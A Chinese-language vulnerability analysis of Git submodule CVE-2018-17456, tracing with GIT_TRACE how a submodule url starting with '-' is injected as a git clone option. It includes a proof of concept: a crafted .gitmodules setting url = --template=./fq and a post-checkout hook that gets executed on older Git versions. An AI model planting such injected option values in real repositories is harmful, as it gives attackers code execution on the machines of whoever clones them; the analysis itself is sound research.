Git Submodule 漏洞(CVE-2018-17456)分析

作者:Hcamael@知道创宇404实验室 时间:2018/10/15

国庆节的时候,Git爆了一个RCE的漏洞,放假回来进行应急,因为公开的相关资料比较少,挺头大的,搞了两天,RCE成功了

收集资料

一开始研究这个漏洞的时候,网上公开的资料非常少,最详细的也就github blog[1]的了。

得知发现该漏洞的作者是@joernchen, 去翻了下他的twitter,找到了一篇还算有用的推文:

另外在twitter搜索CVE-2018-17456,得到一篇@_staaldraad验证成功的推文:

可惜打了马赛克,另外还通过Google也零零散散找到一些有用的信息(url都找不到了),比如该漏洞无法在Windows上复现成功,因为:在Windows上不是有效的文件名。

研 究 分 析

网上资料太少,只凭这点资料无法完成该漏洞的复现,所以只能自己通过源码、调试进行测试研究了。

使用woboq_codebrowser生成了git v2.19.1最新版的源码[2],方便审计。

通过源码发现在git命令前使用GIT_TRACE=1能开启git自带的命令跟踪,跟踪git的run_command

首先创建一个源,并创建其子模块(使用git v2.19.0进行测试):

$ git --version git version 2.19.0.271.gfe8321e.dirty $ mkdir evilrepo $ cd evilrepo/ $ git init . Initialized empty Git repository in /home/ubuntu/evilrepo/.git/ $ git submodule add https://github.com/Hcamael/hello-world.git test1 Cloning into '/home/ubuntu/evilrepo/test1'... remote: Enumerating objects: 3, done. remote: Counting objects: 100% (3/3), done. remote: Total 3 (delta 0), reused 0 (delta 0), pack-reused 0Unpacking objects: 100% (3/3), done. $ cat .gitmodules[submodule "test1"] path = test1 url = https://github.com/Hcamael/hello-world.git

从搜集到的资料看,可以知道,该漏洞的触发点是url参数,如果使用-开始则会被解析成参数,所以尝试修改url

$ cat .gitmodules[submodule "test1"] path = test1 url = -test $ rm -rf .git/modules/test1/ $ rm test1/.git 修改.git/config $ cat .git/config[core] repositoryformatversion = 0 filemode = true bare = false logallrefupdates = true这里可以选择把submodule的数据删除,可以可以选择直接修改url $ cat .git/config[core] repositoryformatversion = 0 filemode = true bare = false logallrefupdates = true[submodule "test1"] active = true url = -test $ GIT_TRACE=1 git submodule update --init

从输出结果中,我们可以看到一句命令:

git.c:415 trace: built-in: git clone --no-checkout --separate-git-dir /home/ubuntu/evilrepo/.git/modules/test1 -test /home/ubuntu/evilrepo/test1 error: unknown switch `t'

我们设置的-test被git clone识别为-t参数,漏洞点找到了,下面需要考虑的是,怎么利用git clone参数执行命令?

继续研究,发现git有处理特殊字符,比如空格:

$ cat .git/config[core] repositoryformatversion = 0 filemode = true bare = false logallrefupdates = true[submodule "test1"] active = true url = -te st $ GIT_TRACE=1 git submodule update --init ..... git.c:415 trace: built-in: git submodule--helper clone --path test1 --name test1 --url '-te st'..... git.c:415 trace: built-in: git clone --no-checkout --separate-git-dir /home/ubuntu/evilrepo/.git/modules/test1 '-te st' /home/ubuntu/evilrepo/test1 .....

如果有特殊字符,则会加上单引号

翻了下源码,找到了过滤的函数[3],是一个白名单过滤

只有大小写字母,数字和下面这几种特殊字符才不会加上单引号:

static const char ok_punct[] = "+,-./:=@_^";

感觉这空格是绕不过了(反正我绕不动)

接下来继续研究如果利用参数进行命令执行

在翻twitter的过程中还翻到了之前一个Git RCE(CVE-2018-11235)[4]的文章,发现是利用hook来达到RCE的效果,在结合之前@_staaldraad验证成功的推文

可以很容易的想到一个方法,不过在讲这个方法前,先讲一些git submodule的基础知识点吧

git submodule机制简单讲解

首先看看.gitmodules的几个参数:

[submodule "test1"] path = test2 url = test3

test1表示的是submodule name,使用的参数是--name,子项目.git目录的数据会被储存到.git/modules/test1/目录下

test2表示的是子项目储存的路径,表示子项目的内容将会被储存到./test2/目录下

test3这个就很好理解,就是子项目的远程地址,如果是本地路径,就是拉去本地源

把本地项目push到远程,是无法把.git目录push上去的,只能push .gitmodules文件和test2目录

那么远程怎么识别该目录为submodule呢?在本地添加submodule的时候,会在test2目录下添加一个.git文件(在前面被我删除了,可以重新添加一个查看其内容)

$ cat test2/.git gitdir: ../.git/modules/test1

指向的是该项目的.git路径,该文件不会被push到远程,但是在push的时候,该文件会让git识别出该目录是submodule目录,该目录下的其他文件将不会被提交到远程,并且在远程为该文件创建一个链接,指向submodule地址:

(我个人体会,可以看成是Linux下的软连接)

这个软连接是非常重要的,如果远程test2目录没有该软连接,.gitmodules文件中指向该路径的子项目在给clone到本地时(加了--recurse-submodules参数),该子项目将不会生效。

理解了submodule大致的工作机制后,就来说说RCE的思路

我们可以把url设置为如下:

url = --template=./template

这是一个模板选项,详细作用自己搜下吧

在设置了该选项的情况下,把子项目clone到本地时,子项目的.git目录被放到.git/modules/test1目录下,然后模板目录中,规定的几类文件也会被copy到.git/modules/test1目录下。这几类文件其中就是hook

所以,只有我们设置一个./template/hook/post-checkout,给post-checkout添加可执行权限,把需要执行的命令写入其中,在子项目执行git chekcout命令时,将会执行该脚本。

$ mkdir -p fq/hook $ cat fq/hook/post-checkout#!/bin/shdateecho 'PWNED'$ chmod +x fq/hook/post-checkout $ ll total 24drwxrwxr-x 5 ubuntu ubuntu 4096 Oct 12 16:48 ./ drwxr-xr-x 16 ubuntu ubuntu 4096 Oct 12 16:48 ../ drwxrwxr-x 3 ubuntu ubuntu 4096 Oct 12 16:47 fq/ drwxrwxr-x 8 ubuntu ubuntu 4096 Oct 12 15:59 .git/ -rw-rw-r-- 1 ubuntu ubuntu 57 Oct 12 16:48 .gitmodules drwxrwxr-x 2 ubuntu ubuntu 4096 Oct 12 16:46 test2/ $ cat .gitmodules[submodule "test1"] path = test2 url = --template=./fq $ GIT_TRACE=1 git submodule update --init

设置好了PoC,再试一次,发现还是报错失败,主要问题如下:

git.c:415 trace: built-in: git clone --no-checkout --separate-git-dir /home/ubuntu/evilrepo/.git/modules/test1 --template=./fq /home/ubuntu/evilrepo/test2 fatal: repository '/home/ubuntu/evilrepo/test2' does not exist fatal: clone of '--template=./fq' into submodule path '/home/ubuntu/evilrepo/test2' failed

来解析下该命令:

git clone --no-checkout --separate-git-dir /home/ubuntu/evilrepo/.git/modules/{name} {url} /home/ubuntu/evilrepo/{path}

我们把{url}设置为参数以后,/home/ubuntu/evilrepo/{path}就变成源地址了,该地址被判断为本地源目录,所以会查找该目录下的.git文件,但是之前说了,因为该目录被远程设置为软连接,所以clone到本地不会有其他文件,所以该目录是不可能存在.git目录的,因此该命令执行失败

再来看看是什么命令调用的该命令:

git.c:415 trace: built-in: git submodule--helper clone --path test2 --name test1 --url --template=./fq

解析下该命令:

git submodule--helper clone --path {path} --name {name} --url {url}

path, name, url都是我们可控的,但是都存在过滤,过滤规则同上面说的url白名单过滤规则。

该命令函数 -> [5]

我考虑过很多,path或name设置成--url=xxxxx

都失败了,因为--path和--name参数之后没有其他数据了,所以--url=xxxx都会被解析成name或path,这里就缺一个空格,但是如果存在空格,该数据则会被加上单引号,目前想不出bypass的方法

所以该命令的利用上毫无进展。。。。

所以关注点又回到了上一个git clone命令上:

git clone --no-checkout --separate-git-dir /home/ubuntu/evilrepo/.git/modules/{name} {url} /home/ubuntu/evilrepo/{path} strbuf_addf(&sb, "%s/modules/%s", get_git_dir(), name); sm_gitdir = absolute_pathdup(sb.buf);

/home/ubuntu/evilrepo/.git/modules/{name}路径是直接使用上面代码进行拼接,也找不到绕过的方法

最后就是/home/ubuntu/evilrepo/{path},如果git能把这个解析成远程地址就好了,所以想了个构造思路:/home/ubuntu/evilrepo/git@github.com:Hcamael/hello-world.git

但是失败了,还是被git解析成本地路径,看了下path的代码:

if (!is_absolute_path(path)) { strbuf_addf(&sb, "%s/%s", get_git_work_tree(), path); path = strbuf_detach(&sb, NULL); } else path = xstrdup(path);

因为git@github.com:Hcamael/hello-world.git被判断为非绝对路径,所以在前面加上了当前目录的路径,到这就陷入了死胡同了找不到任何解决办法

RCE

在不断的研究后发现,path=git@github.com:Hcamael/hello-world.git在低版本的git中竟然执行成功了。

首先看图:

使用的是ubuntu 16.04,默认的git是2.7.4,然后查了下该版本git的源码,发现该版本中并没有下面这几行代码

if (!is_absolute_path(path)) { strbuf_addf(&sb, "%s/%s", get_git_work_tree(), path); path = strbuf_detach(&sb, NULL); } else path = xstrdup(path);

所以构造的命令变成了:

$ git clone --no-checkout --separate-git-dir /home/ubuntu/evilrepo/.git/modules/test1 --template=./fq git@github.com:Hcamael/hello-world.git

之后把我执行成功的结果和@_staaldraad推文中的截图进行对比,发现几乎是一样的,所以猜测这个人复现的git环境也是使用低版本的git

总 结

之后翻了下git的提交历史,发现2016年就已经添加了对path是否是绝对路径的判断。根据我的研究结果,CVE-2018-17456漏洞可以造成git选项参数注入,但是只有低版本的git才能根据该CVE造成RCE的效果。

引用

  1. https://blog.github.com/2018-10-05-git-submodule-vulnerability/
  2. https://0x48.pw/git/
  3. https://0x48.pw/git/git/quote.c.html#sq_quote_buf_pretty
  4. https://staaldraad.github.io/post/2018-06-03-cve-2018-11235-git-rce/
  5. https://0x48.pw/git/git/builtin/submodule--helper.c.html#module_clone

原文发布于微信公众号 - Seebug漏洞平台(seebug_org)

原文发表时间:2018-10-15

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏思考的代码世界

Python网络数据采集之使用API|第03天

百度百科关于API的解释:API(Application Programming Interface,应用程序编程接口)是一些预先定义的函数,目的是提供应用程序...

54870
来自专栏前端架构与工程

webpack多页面开发与懒加载hash解决方案

本文内容只适用于webpack v1版本,webpack v2已经修复了hash计算规则。 之前讨论了webpack的hash与chunkhash的区别以及各...

22780
来自专栏Java技术栈

Redis 的 4 大法宝,2018 必学中间件!

Redis是什么? 全称:REmote DIctionary Server Redis是一种key-value形式的NoSQL内存数据库,由ANSI C编写,遵...

42250
来自专栏较真的前端

关于网络请求的面试题总结

30750
来自专栏程序员互动联盟

【线程池】线程池与工作队列

为什么要用线程池? 诸如 Web 服务器、数据库服务器、文件服务器或邮件服务器之类的许多服务器应用程序都面向处理来自某些远程来源的大量短小的任务。请求以某种方式...

36380
来自专栏Laoqi's Linux运维专列

nginx之php-fpm优化

72870
来自专栏码神联盟

灵丹妙药 | 关于缓存,你必须要知道的

这两天小编一直在总结缓存的要点,也同时参考了一些文档,仅此奉上,以供参考。 缓存是必备技能 身为后端开发的开发人员,缓存是必备技能。不需要花费太多的精力就能显著...

36870
来自专栏北京马哥教育

9 个使用前必须再三小心的 Linux 命令

Linux shell/terminal 命令非常强大,即使一个简单的命令就可能导致文件夹、文件或者路径文件夹等被删除。 在一些情况下,Linux 甚至不会询问...

37560
来自专栏喵了个咪的博客空间

[PhalApi实战篇(1)]Redis队列处理异步任务

[PhalApi实战篇(1)]Redis队列处理异步任务 ? 前言 先在这里感谢phalapi框架创始人@dogstar,为我们提供了这样一个优秀的开源框架. ...

45140
来自专栏点滴积累

Ubuntu16.04双网卡主备配置

前几日写了一篇Ubuntu14.04双网卡主备配置,没成想变化总是这么快,今日安装某软件,提示最匹配的ubuntu版本是16.04,作为一个码农能有什么办法,只...

53950

扫码关注云+社区

领取腾讯云代金券